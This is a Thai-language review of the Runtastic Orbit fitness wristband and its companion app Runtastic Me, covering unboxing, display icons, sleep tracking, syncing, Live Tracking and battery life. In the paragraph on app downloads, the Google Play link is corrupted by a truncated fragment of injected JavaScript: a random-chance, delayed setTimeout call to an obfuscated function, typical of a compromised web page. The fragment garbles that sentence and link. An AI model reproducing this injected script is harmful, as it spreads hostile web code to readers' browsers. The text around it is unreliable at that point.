ณ ตอนนี้คงปฏิเสธไม่ได้แล้วว่าเทรนด์การออกกำลังกายในปัจจุบันนั้นเปลี่ยนไปมากแค่ไหน ด้วยบรรดาเหล่า wearable devices หรืออุปกรณ์สวมใส่ทางไอที ที่เริ่มเข้ามามีบทบาทสำคัญในการออกกำลังกายในชีวิตประจำวันของเราควบคู่กันไปกับการทำงานร่วมกันกับสมาร์ทโฟน และหนึ่งในแบรนด์ที่ผู้ที่ชื่นชอบการออกกำลังกายรู้จักกันดีและกำลังเป็นกระแสนิยมกันในปัจจุบันก็คือ ‘Runtastic’ ครับ
แกะกล่องRUNTASTIC ORBIT
กล่องของ Runtastic Orbit จะมาในขนาดกะทัดรัดและมีโทนสีน้ำเงิน, ขาว ตามแบบฉบับของแพ็คเกจ Runtastic ครับ ซึ่งตัวกล่องก็จะมีบอกฟีเจอร์หลักๆโดยรวมของสายรัดข้อมือ Runtastic Orbit ว่าสามารถทำอะไรได้บ้าง เช่น นับก้าว, ติดตามการนอนหลับ, รู้ระดับแคลอรี่ที่เราเบิร์นไป, ติดตามอารมณ์ของผู้สวมใส่, ดูเวลาและตั้งเวลาได้, มีเซนเซอร์วัดแสง Ambient Lighting, กันน้ำ และการใช้งานแบบไร้สายครับ
อุปกรณ์ภายในกล่องของ Runtastic Orbit นั้นก็จะมีสายรัดข้อมือที่ใส่อยู่บนสายสีดำ, สายรัดข้อมือสำรองสีน้ำเงิน, คลิปสำหรับหนีบตัว Runtastic Orbit เข้ากับส่วนต่างๆของร่างกาย, คู่มือการใช้งานเบื้องต้น และสายชาร์จไฟสำหรับชาร์จไฟ Runtastic Orbit
หน้าตาของสายชาร์จไฟ Runtastic Orbit นั้นจะมีสีน้ำเงินและมีโลโก้ Runtastic สกรีนอยู่ครับ ตัวขั้วของสายชาร์จไฟเป็นแม่เหล็กทำให้เสียบเข้ากับด้านหลังของ Runtastic Orbit ได้โดยง่าย และทำการชาร์จไฟได้สะดวกผ่านทางพอร์ต USB ของคอมพิวเตอร์หรือโน้ตบุ๊ค
ภาพแสดงการชาร์จแบตเตอรี่ของ Runtastic Orbit
สำรวจหน้าตาของRUNTASTIC ORBIT
Runtastic Orbitจะแต่งองค์ทรงเครื่องมาพร้อมในสายยางสีดำ มีเซนเซอร์วัดแสง Ambient Light อยู่ด้านบนหน้าจอ ด้านล่างของหน้าจอจะมีปุ่มเมนูซึ่งมีอยู่ปุ่มเดียว สำหรับกดดูค่าต่างๆที่เราออกกำลังกายไปได้ครับ
ด้านหลังของสายยางของRuntastic Orbitจะมีโลโก้ของ Runtastic อยู่ครับ
ตัวอุปกรณ์ของRuntastic Orbitจะสามารถถอดออกมาเปลี่ยนสายได้ และขนาดของตัวเครื่องก็ไม่ใหญ่มากครับ ดังภาพด้านล่าง
นอกจากนี้Runtastic Orbitยังสามารถกันน้ำได้อีกด้วยนะ
เริ่มต้นการใช้งานRUNTASTIC ORBIT
ตามคู่มือการใช้งานเบื้องต้นของ Runtastic Orbit ที่แถมมาภายในกล่องนั้นระบุว่า การใช้งานครั้งแรกเพื่อให้ได้ประสิทธิภาพนั้นควรจะชาร์จแบตเตอรี่ให้เต็มเสียก่อนครับ แล้วทำการสวมใส่ Runtastic Orbit ลงบนข้อมือให้เรียบร้อยก็พร้อมลุยทันที
และเมื่อสวมใส่ Runtastic Orbit อยู่ ก็จะมีสัญลักษณ์ต่างๆขึ้นมาให้เราดูในขณะสวมใส่และกดปุ่มของตัวสายรัดข้อมือครับ เพราะฉะนั้นเรามาทำความเข้าใจกับสัญลักษณ์ต่างๆก่อนกันดีกว่า
คำอธิบายสัญลักษณ์ต่างๆ ของRuntastic Orbit
![]() | แสดงเวลาปัจจุบัน โดยเวลาจะซิงก์อัตโนมัติเมื่อมีการเชื่อมต่อ Runtastic Orbit เข้ากับแอพลิเคชั่น |
![]() | แสดงจำนวนก้าวของเราจากการออกกำลังกาย ขณะสวมใส่ Runtastic Orbit |
![]() | แสดงจำนวนแคลอรี่ที่เบิร์นได้ในขณะที่ออกกำลังกายและสวมใส่ Runtastic Orbit |
![]() | แสดงเวลาการออกกำลังกายทั้งหมดในรอบวัน |
![]() | ตรวจวัดการนอนหลับ โดยเมนูนี้จะไม่ได้ออกมาโดยอัตโนมัติ เราจำเป็นต้องกดปุ่มของ Runtastic Orbit ค้างไว้ 3 วินาที ก่อนนอนครับ |
![]() | แสดงระยะเวลาการนอนหลับ เมื่อเปิดใช้งานการตรวจวัดการนอนหลับ |
![]() | หลังจากตื่นแล้ว ให้กดปุ่มของ Runtastic Orbit ค้างไว้ ก็จะเข้าสู่โหมดตื่นนอน และสัญลักษณ์นี้จะแสดงขึ้นมา |
![]() | สัญลักษณ์แสดงช่วงเวลาแห่งความสุขของการออกกำลังกายแล้วเกิดอาการฟิน จะแสดงขึ้นมาเมื่อกดปุ่มของ Runtastic Orbit เร็วๆ 2 ครั้ง |
แอพใหม่RUNTASTIC ME
นอกจาก Runtastic Orbit จะเป็นผลิตภัณฑ์ใหม่ล่าสุดของ Runtastic แล้ว ก็ยังมีอีกหนึ่งแอพลิเคชั่นที่เปิดตัวมาพร้อมๆกับ Runtastic Orbit ด้วย นั่นก็คือแอพที่ชื่อว่า ‘Runtastic Me’ ครับ โดยตัวแอพ Runtastic Me จะทำหน้าที่วัดการออกกำลังกายของเราทั้งการนับก้าวเดิน, ระยะทางที่มีการเคลื่อนไหว, จำนวนแคลอรี่ที่ถูกเบิร์นไป, ระยะทาง และการนอนหลับ ครับ ซึ่งถือว่าครบครันเลยทีเดียว
ตัวแอพ Runtastic Me นั้นมี UI ที่สวยงาม ตามสไตล์ของ Runtastic เมื่อทำการเชื่อมต่อ Runtastic Orbit เข้ากับแอพ Runtastic Me ครั้งแรก ตัวแอพจะซิงก์และตั้งเวลาให้กับตัว Runtastic Orbit โดยอัตโนมัติ และหลังจากที่เราทำกิจกรรมการออกกำลังกาย หรือรวมไปจนถึงตื่นนอนเรียบร้อยแล้ว เมื่อเปิดแอพ Runtastic Me ตัวแอพก็จะซิงก์กับ Runtastic Orbit โดยอัตโนมัติ พร้อมทั้งแสดงผลการออกกำลังกายและการนอนหลับของเราเป็นกราฟสวยงามเลยทีเดียว
ตัวแอพ Runtastic Me ยังสามารถเซ็ต Goal หรือเป้าหมายในการออกกำลังกายของเราได้ด้วย ซึ่งเมื่อทำได้ครบตามเป้าที่ตั้งไว้แล้ว ก็จะมีการสั่นเตือน พร้อมกับสัญลักษณ์ถ้วยรางวัลปรากฎขึ้นมาบนหน้าจอของ Runtastic Orbit ครับ
ตัวแอพ Runtastic Me นั้นมีให้ดาวน์โหลดฟรีทั้งบนandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}android/me/lite”>Google Play Storeของ Android และApp Storeของ iOS ครับ (รองรับ iPhone 4s ขึ้นไป และ Android ตั้งแต่เวอร์ชั่น 4.3 ขึ้นไป)
ECOSYSTEM ที่เหนือชั้นของ RUNTASTIC
นอกเหนือไปจากแอพใหม่ Runtastic Me แล้ว ตัวRuntastic Orbitนั้นยังสามารถเชื่อมต่อเข้ากับตัวแอพอื่นๆของ Runtastic ได้ด้วย ซึ่งในตอนนี้นั้นรองรับแอพ Runtastic (ซึ่งเป็นแอพวิ่งนั่นเอง) ซึ่งเมื่อเปิดแอพ Runtastic ขึ้นมานั้น ตัว Runtastic Orbit จะแสดงหน้าจอ Duration แสดงระยะเวลาในการวิ่งทันทีครับ ซึ่งสามารถวัดได้ละเอียดกว่าตัวแอพ Runatsic Me มากเลย ไม่ว่าจะเป็น ระยะเวลาการวิ่ง, ระยะทางที่วิ่ง, ฝีเท้า (จำนวนก้าว), อัตราเฉลี่ยของฝีเท้า, ความเร็วโดยเฉลี่ย และแคลอรี่ที่สูญเสียไป และยังสามารถแพร์อุปกรณ์วัด Heart Rate Monitor (อุปกรณ์วัดอัตราการเต้นของหัวใจของ Runtastic) เพื่อใช้ควบคู่กัน และให้การออกกำลังกายมีประสิทธิภาพสูงสุดได้อีกด้วยครับ
โดยเมื่อเราทำการใช้งานRuntastic Orbitควบคู่กับแอพ Runtastic นั้นจะมีฟีเจอร์เด็ดในการแชร์การออกกำลังกายของเราไปยัง Social Network นั่นก็คือ Live Tracking โดยสามารถแชร์ให้เพื่อนของเราเห็นได้ทั้ง Facebook, Twitter และ Google+ และเพื่อนของเราสามารถเห็นจุดที่เราวิ่งออกกำลังกายเหมือนถ่ายทอดสดได้ผ่านทางพิกัดของ GPS นั่นเอง
ตัวอย่างแสดง Live Tracking ของ Runtastic
นอกจากนี้ข้อมูลการออกกำลังกายต่างๆบนเว็บไซต์ของ Runtastic ที่ทำการซิงก์ขึ้นไปนั้นก็ยังละเอียดมากเลยทีเดียวครับ
สรุป
Runtastic Orbitนั้นเป็นอุปกรณ์สายรัดข้อมือ wearable deivces ที่ตอบโจทย์ผู้ใช้งานได้ครบครันทีเดียว เหมาะสำหรับผู้ที่ชื่นชอบเทคโนโลยี และเสพย์ติดการออกกำลังกาย ด้วยฟังก์ชั่นการใช้งานที่มาก แต่ทำให้ดูใช้งานง่าย ไม่ยุ่งยาก ซิงก์ก็ง่ายดาย เชื่อมต่อสมาร์ทโฟนได้ทั้ง Android และ iPhone นอกจากนี้ยังมีแอพที่สวยงาม ใช้งานได้ แสดงผลข้อมูลการออกกำลังกายได้ละเอียดและแม่นยำ และ Runtastic Orbit ยังสามารถใช้งานได้ยาวนานต่อการชาร์จแบตเตอรี่เพียงครั้งเดียว เท่าที่ทดสอบมานั้นสามารถอยู่ได้นานราวๆ 4-5 วันครับ นอกจากนี้ Runtastic Orbit ยังสามารถกันน้ำได้ด้วย ซึ่งอุปกรณ์สายรัดข้อมือหลายๆตัวในท้องตลาดนั้นก็พลาดไม่สามารถกันน้ำได้ แต่Runtastic Orbitนั้นสามารถกันน้ำได้ครับ